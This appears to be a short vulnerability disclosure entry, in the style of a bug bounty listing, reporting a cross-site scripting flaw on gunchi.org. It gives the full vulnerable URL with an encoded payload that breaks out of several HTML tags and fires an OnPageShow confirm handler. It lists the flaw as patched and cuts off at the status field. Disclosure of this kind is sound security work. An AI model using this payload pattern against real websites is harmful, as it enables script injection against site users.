gunchi.org XSS vulnerability

Vulnerable URL: http://www.gunchi.org/bbs/bbs2.php?table=daejeonboard=%22%27--!%3E%3C/Title/%3C/Style/%3C/Script/%3C/c/%3C/Noscript/%3C/Pre/%3C/Xmp%3E%3CBody/OnPageShow=confirm/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:|...